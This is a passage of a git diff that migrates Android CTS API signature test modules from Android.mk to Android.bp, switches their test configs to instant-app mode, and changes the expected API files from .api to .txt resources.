     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 
diff --git a/tests/signature/api-check/android-test-base-current-api/AndroidTest.xml b/tests/signature/api-check/android-test-base-current-api/AndroidTest.xml
index 49ac0a7..d0756b9 100644
--- a/tests/signature/api-check/android-test-base-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/android-test-base-current-api/AndroidTest.xml
@@ -16,15 +16,8 @@
 <configuration description="Config for CTS Android Test Base Current API Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
-        <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="android-test-base-current.api->/data/local/tmp/signature-test/android-test-base-current.api" />
-    </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsAndroidTestBaseCurrentApiSignatureTestCases.apk" />
@@ -33,7 +26,7 @@
         <option name="package" value="android.signature.cts.api.android_test_base_current" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.current.test.SignatureTest" />
-        <option name="instrumentation-arg" key="expected-api-files" value="android-test-base-current.api" />
+        <option name="instrumentation-arg" key="expected-api-files" value="android-test-base-current.txt" />
         <option name="runtime-hint" value="5s" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/android-test-mock-current-api/Android.bp b/tests/signature/api-check/android-test-mock-current-api/Android.bp
new file mode 100644
index 0000000..e836409
--- /dev/null
+++ b/tests/signature/api-check/android-test-mock-current-api/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsAndroidTestMockCurrentApiSignatureTestCases",
+    defaults: [
+        "signature-api-check-defaults",
+    ],
+    java_resources: [
+        ":cts-android-test-mock-current-txt",
+    ],
+
+    use_embedded_native_libs: false,
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/signature/api-check/android-test-mock-current-api/Android.mk b/tests/signature/api-check/android-test-mock-current-api/Android.mk
deleted file mode 100644
index b60f6a3..0000000
--- a/tests/signature/api-check/android-test-mock-current-api/Android.mk
+++ /dev/null
@@ -1,24 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsAndroidTestMockCurrentApiSignatureTestCases
-
-LOCAL_SIGNATURE_API_FILES := \
-    android-test-mock-current.api \
-
-include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/android-test-mock-current-api/AndroidManifest.xml b/tests/signature/api-check/android-test-mock-current-api/AndroidManifest.xml
index 4269669..8a4dcdc 100644
--- a/tests/signature/api-check/android-test-mock-current-api/AndroidManifest.xml
+++ b/tests/signature/api-check/android-test-mock-current-api/AndroidManifest.xml
@@ -16,7 +16,8 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.signature.cts.api.android_test_mock_current">
+          package="android.signature.cts.api.android_test_mock_current"
+          android:targetSandboxVersion="2">
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 
diff --git a/tests/signature/api-check/android-test-mock-current-api/AndroidTest.xml b/tests/signature/api-check/android-test-mock-current-api/AndroidTest.xml
index e90984d..fccf9c7 100644
--- a/tests/signature/api-check/android-test-mock-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/android-test-mock-current-api/AndroidTest.xml
@@ -16,15 +16,8 @@
 <configuration description="Config for CTS Android Test Mock Current API Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
-        <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="android-test-mock-current.api->/data/local/tmp/signature-test/android-test-mock-current.api" />
-    </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsAndroidTestMockCurrentApiSignatureTestCases.apk" />
@@ -33,7 +26,7 @@
         <option name="package" value="android.signature.cts.api.android_test_mock_current" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.current.mock.SignatureTest" />
-        <option name="instrumentation-arg" key="expected-api-files" value="android-test-mock-current.api" />
+        <option name="instrumentation-arg" key="expected-api-files" value="android-test-mock-current.txt" />
         <option name="runtime-hint" value="5s" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/android-test-runner-current-api/Android.bp b/tests/signature/api-check/android-test-runner-current-api/Android.bp
new file mode 100644
index 0000000..2a6dd7d
--- /dev/null
+++ b/tests/signature/api-check/android-test-runner-current-api/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsAndroidTestRunnerCurrentApiSignatureTestCases",
+    defaults: [
+        "signature-api-check-defaults",
+    ],
+    java_resources: [
+        ":cts-android-test-base-current-txt",
+        ":cts-android-test-mock-current-txt",
+        ":cts-android-test-runner-current-txt",
+    ],
+
+    use_embedded_native_libs: false,
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/signature/api-check/android-test-runner-current-api/Android.mk b/tests/signature/api-check/android-test-runner-current-api/Android.mk
deleted file mode 100644
index 9f0aad4..0000000
--- a/tests/signature/api-check/android-test-runner-current-api/Android.mk
+++ /dev/null
@@ -1,26 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsAndroidTestRunnerCurrentApiSignatureTestCases
-
-LOCAL_SIGNATURE_API_FILES := \
-    android-test-base-current.api \
-    android-test-mock-current.api \
-    android-test-runner-current.api \
-
-include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/android-test-runner-current-api/AndroidManifest.xml b/tests/signature/api-check/android-test-runner-current-api/AndroidManifest.xml
index 8bbf07e..fd030be 100644
--- a/tests/signature/api-check/android-test-runner-current-api/AndroidManifest.xml
+++ b/tests/signature/api-check/android-test-runner-current-api/AndroidManifest.xml
@@ -16,7 +16,8 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.signature.cts.api.android_test_runner_current">
+          package="android.signature.cts.api.android_test_runner_current"
+          android:targetSandboxVersion="2">
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 
diff --git a/tests/signature/api-check/android-test-runner-current-api/AndroidTest.xml b/tests/signature/api-check/android-test-runner-current-api/AndroidTest.xml
index e2cb9e0..77809ba 100644
--- a/tests/signature/api-check/android-test-runner-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/android-test-runner-current-api/AndroidTest.xml
@@ -16,21 +16,8 @@
 <configuration description="Config for CTS Android Test Runner Current API Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
-        <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="android-test-base-current.api->/data/local/tmp/signature-test/android-test-base-current.api" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="android-test-mock-current.api->/data/local/tmp/signature-test/android-test-mock-current.api" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="android-test-runner-current.api->/data/local/tmp/signature-test/android-test-runner-current.api" />
-    </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsAndroidTestRunnerCurrentApiSignatureTestCases.apk" />
@@ -39,7 +26,7 @@
         <option name="package" value="android.signature.cts.api.android_test_runner_current" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.current.runner.SignatureTest" />
-        <option name="instrumentation-arg" key="expected-api-files" value="android-test-base-current.api,android-test-mock-current.api,android-test-runner-current.api" />
+        <option name="instrumentation-arg" key="expected-api-files" value="android-test-base-current.txt,android-test-mock-current.txt,android-test-runner-current.txt" />
         <option name="runtime-hint" value="5s" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/apache-http-legacy-27-api/Android.bp b/tests/signature/api-check/apache-http-legacy-27-api/Android.bp
new file mode 100644
index 0000000..0c53a34
--- /dev/null
+++ b/tests/signature/api-check/apache-http-legacy-27-api/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsApacheHttpLegacy27ApiSignatureTestCases",
+    defaults: [
+        "signature-api-check-defaults",
+    ],
+    java_resources: [
+        ":cts-current-txt",
+        ":cts-apache-http-legacy-current-txt",
+    ],
+    min_sdk_version: "27",
+
+    use_embedded_native_libs: false,
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/signature/api-check/apache-http-legacy-27-api/Android.mk b/tests/signature/api-check/apache-http-legacy-27-api/Android.mk
deleted file mode 100644
index 906dda8..0000000
--- a/tests/signature/api-check/apache-http-legacy-27-api/Android.mk
+++ /dev/null
@@ -1,27 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsApacheHttpLegacy27ApiSignatureTestCases
-
-LOCAL_SIGNATURE_API_FILES := \
-    current.api \
-    apache-http-legacy-current.api \
-
-LOCAL_MIN_SDK_VERSION := 22
-
-include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/apache-http-legacy-27-api/AndroidManifest.xml b/tests/signature/api-check/apache-http-legacy-27-api/AndroidManifest.xml
index 8044d4b..4f32045 100644
--- a/tests/signature/api-check/apache-http-legacy-27-api/AndroidManifest.xml
+++ b/tests/signature/api-check/apache-http-legacy-27-api/AndroidManifest.xml
@@ -16,11 +16,12 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.signature.cts.api.apache_http_legacy_27">
+          package="android.signature.cts.api.apache_http_legacy_27"
+          android:targetSandboxVersion="2">
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 
-    <uses-sdk android:minSdkVersion="22" android:targetSdkVersion="27"/>
+    <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="27"/>
 
     <application android:extractNativeLibs="true" android:largeHeap="true"/>
 
diff --git a/tests/signature/api-check/apache-http-legacy-27-api/AndroidTest.xml b/tests/signature/api-check/apache-http-legacy-27-api/AndroidTest.xml
index 7c0a7fc..828926f 100644
--- a/tests/signature/api-check/apache-http-legacy-27-api/AndroidTest.xml
+++ b/tests/signature/api-check/apache-http-legacy-27-api/AndroidTest.xml
@@ -16,18 +16,8 @@
 <configuration description="Config for CTS Apache Http Legacy 27 API Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
-        <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="current.api->/data/local/tmp/signature-test/current.api" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="apache-http-legacy-current.api->/data/local/tmp/signature-test/apache-http-legacy-current.api" />
-    </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsApacheHttpLegacy27ApiSignatureTestCases.apk" />
@@ -36,8 +26,8 @@
         <option name="package" value="android.signature.cts.api.apache_http_legacy_27" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.api27.http.SignatureTest" />
-        <option name="instrumentation-arg" key="base-api-files" value="current.api" />
-        <option name="instrumentation-arg" key="expected-api-files" value="apache-http-legacy-current.api" />
+        <option name="instrumentation-arg" key="base-api-files" value="current.txt" />
+        <option name="instrumentation-arg" key="expected-api-files" value="apache-http-legacy-current.txt" />
         <option name="runtime-hint" value="5s" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/apache-http-legacy-current-api/Android.bp b/tests/signature/api-check/apache-http-legacy-current-api/Android.bp
new file mode 100644
index 0000000..e589ab3
--- /dev/null
+++ b/tests/signature/api-check/apache-http-legacy-current-api/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsApacheHttpLegacyCurrentApiSignatureTestCases",
+    defaults: [
+        "signature-api-check-defaults",
+    ],
+    java_resources: [
+        ":cts-apache-http-legacy-current-txt",
+    ],
+
+    use_embedded_native_libs: false,
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/signature/api-check/apache-http-legacy-current-api/Android.mk b/tests/signature/api-check/apache-http-legacy-current-api/Android.mk
deleted file mode 100644
index df69004..0000000
--- a/tests/signature/api-check/apache-http-legacy-current-api/Android.mk
+++ /dev/null
@@ -1,24 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsApacheHttpLegacyCurrentApiSignatureTestCases
-
-LOCAL_SIGNATURE_API_FILES := \
-    apache-http-legacy-current.api \
-
-include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/apache-http-legacy-current-api/AndroidManifest.xml b/tests/signature/api-check/apache-http-legacy-current-api/AndroidManifest.xml
index b50d47e..7e75171 100644
--- a/tests/signature/api-check/apache-http-legacy-current-api/AndroidManifest.xml
+++ b/tests/signature/api-check/apache-http-legacy-current-api/AndroidManifest.xml
@@ -16,7 +16,8 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.signature.cts.api.apache_http_legacy_current">
+          package="android.signature.cts.api.apache_http_legacy_current"
+          android:targetSandboxVersion="2">
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 
diff --git a/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml b/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml
index 0e1559e..4b0df13 100644
--- a/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml
@@ -16,15 +16,8 @@
 <configuration description="Config for CTS Apache Http Legacy Current API Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
-        <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="apache-http-legacy-current.api->/data/local/tmp/signature-test/apache-http-legacy-current.api" />
-    </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsApacheHttpLegacyCurrentApiSignatureTestCases.apk" />
@@ -33,7 +26,7 @@
         <option name="package" value="android.signature.cts.api.apache_http_legacy_current" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.current.http.SignatureTest" />
-        <option name="instrumentation-arg" key="unexpected-api-files" value="apache-http-legacy-current.api" />
+        <option name="instrumentation-arg" key="unexpected-api-files" value="apache-http-legacy-current.txt" />
         <option name="runtime-hint" value="5s" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/apache-http-legacy-uses-library-api/Android.bp b/tests/signature/api-check/apache-http-legacy-uses-library-api/Android.bp
new file mode 100644
index 0000000..794a952
--- /dev/null
+++ b/tests/signature/api-check/apache-http-legacy-uses-library-api/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsApacheHttpLegacyUsesLibraryApiSignatureTestCases",
+    defaults: [
+        "signature-api-check-defaults",
+    ],
+    java_resources: [
+        ":cts-current-txt",
+        ":cts-apache-http-legacy-current-txt",
+    ],
+
+    use_embedded_native_libs: false,
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/signature/api-check/apache-http-legacy-uses-library-api/Android.mk b/tests/signature/api-check/apache-http-legacy-uses-library-api/Android.mk
deleted file mode 100644
index 563f80e..0000000
--- a/tests/signature/api-check/apache-http-legacy-uses-library-api/Android.mk
+++ /dev/null
@@ -1,25 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsApacheHttpLegacyUsesLibraryApiSignatureTestCases
-
-LOCAL_SIGNATURE_API_FILES := \
-    current.api \
-    apache-http-legacy-current.api \
-
-include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidManifest.xml b/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidManifest.xml
index 6cf150a..cfd69f3 100644
--- a/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidManifest.xml
+++ b/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidManifest.xml
@@ -16,7 +16,8 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.signature.cts.api.apache_http_legacy_uses_library">
+          package="android.signature.cts.api.apache_http_legacy_uses_library"
+          android:targetSandboxVersion="2">
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 
diff --git a/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidTest.xml b/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidTest.xml
index 8674d5b..f45d52c 100644
--- a/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidTest.xml
+++ b/tests/signature/api-check/apache-http-legacy-uses-library-api/AndroidTest.xml
@@ -16,18 +16,8 @@
 <configuration description="Config for CTS Apache Http Legacy UsesLibrary API Signature test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="systems" />
-    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
-    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
-        <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="current.api->/data/local/tmp/signature-test/current.api" />
-    </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
-        <option name="push" value="apache-http-legacy-current.api->/data/local/tmp/signature-test/apache-http-legacy-current.api" />
-    </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsApacheHttpLegacyUsesLibraryApiSignatureTestCases.apk" />
@@ -36,8 +26,8 @@
         <option name="package" value="android.signature.cts.api.apache_http_legacy_uses_library" />
         <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
         <option name="class" value="android.signature.cts.api.http_uses_library.SignatureTest" />
-        <option name="instrumentation-arg" key="base-api-files" value="current.api" />
-        <option name="instrumentation-arg" key="expected-api-files" value="apache-http-legacy-current.api" />
+        <option name="instrumentation-arg" key="base-api-files" value="current.txt" />
+        <option name="instrumentation-arg" key="expected-api-files" value="apache-http-legacy-current.txt" />
         <option name="runtime-hint" value="5s" />
     </test>
 </configuration>
diff --git a/tests/signature/api-check/build_signature_apk.mk b/tests/signature/api-check/build_signature_apk.mk
index 8696c4d..98ff55f 100644
--- a/tests/signature/api-check/build_signature_apk.mk
+++ b/tests/signature/api-check/build_signature_apk.mk
@@ -33,35 +33,26 @@
 LOCAL_JNI_SHARED_LIBRARIES += libclassdescriptors
 LOCAL_MULTILIB := both
 
-LOCAL_ADDITIONAL_DEPENDENCIES += \
-    $(addprefix $(COMPATIBILITY_TESTCASES_OUT_cts)/,$(LOCAL_SIGNATURE_API_FILES))
-
 # Add dependencies needed to build/run the test with atest.
 #
-# This is a temporary workaround as described in b/123393637. It adds the dependencies that
-# atest requires for each of the modules specified in the LOCAL_SIGNATURE_API_FILES. The
-# mapping from module name to the dependency is slightly complicated due to inconsistencies
-# in the mapping for the different file types, i.e. .api, .csv and .zip. Those
-# inconsistencies will be resolved by build improvement work mentioned in b/123393637.
-#
 # Converts:
-#     current.api -> $(TARGET_OUT_TESTCASES)/cts-current-api/current.api
-#     hiddenapi_flags.csv -> $(TARGET_OUT_TESTCASES)/cts-hiddenapi_flags-csv/hiddenapi_flags.csv
-#     system-all.api.zip -> $(TARGET_OUT_TESTCASES)/cts-system-all.api/system-all.api.zip
+#     current.api -> $(SOONG_OUT_DIR)/.intermediates/cts/tests/signature/api/cts-current-txt/gen/current.txt
 
-# Construct module name directory from file name, matches behavior in the
-# build_xml_api_file function in ../api/Android.mk plus some extra rules for handling slight
-# inconsistencies with that behavior for the ..all.zip files used by some signature tests.
+# Construct module name directory from file name, matches location of output of genrules
+# in ../api/Android.bp.
 #   Replace . with -
 #   Prefix every entry with cts-
-#   Replace -all-api-zip with -all.api to handle ...all.zip files
 #
 cts_signature_module_deps := $(LOCAL_SIGNATURE_API_FILES)
 cts_signature_module_deps := $(subst .,-,$(cts_signature_module_deps))
 cts_signature_module_deps := $(addprefix cts-,$(cts_signature_module_deps))
-cts_signature_module_deps := $(subst -all-api-zip,-all.api,$(cts_signature_module_deps))
 
-LOCAL_REQUIRED_MODULES := $(cts_signature_module_deps)
+# Construct path to the generated files and add them as java resources.
+cts_signature_module_resources := $(addprefix $(SOONG_OUT_DIR)/.intermediates/cts/tests/signature/api/,$(cts_signature_module_deps))
+cts_signature_module_resources := $(addsuffix /gen/,$(cts_signature_module_resources))
+cts_signature_module_resources := $(join $(cts_signature_module_resources),$(LOCAL_SIGNATURE_API_FILES))
+
+LOCAL_JAVA_RESOURCE_FILES += $(cts_signature_module_resources)
 
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
@@ -75,4 +66,5 @@
 include $(BUILD_CTS_PACKAGE)
 
 LOCAL_SIGNATURE_API_FILES :=
+cts_signature_module_resources :=
 cts_signature_module_deps :=
diff --git a/tests/signature/api-check/current-api/Android.bp b/tests/signature/api-check/current-api/Android.bp
new file mode 100644
index 0000000..1ca5d11
--- /dev/null
+++ b/tests/signature/api-check/current-api/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
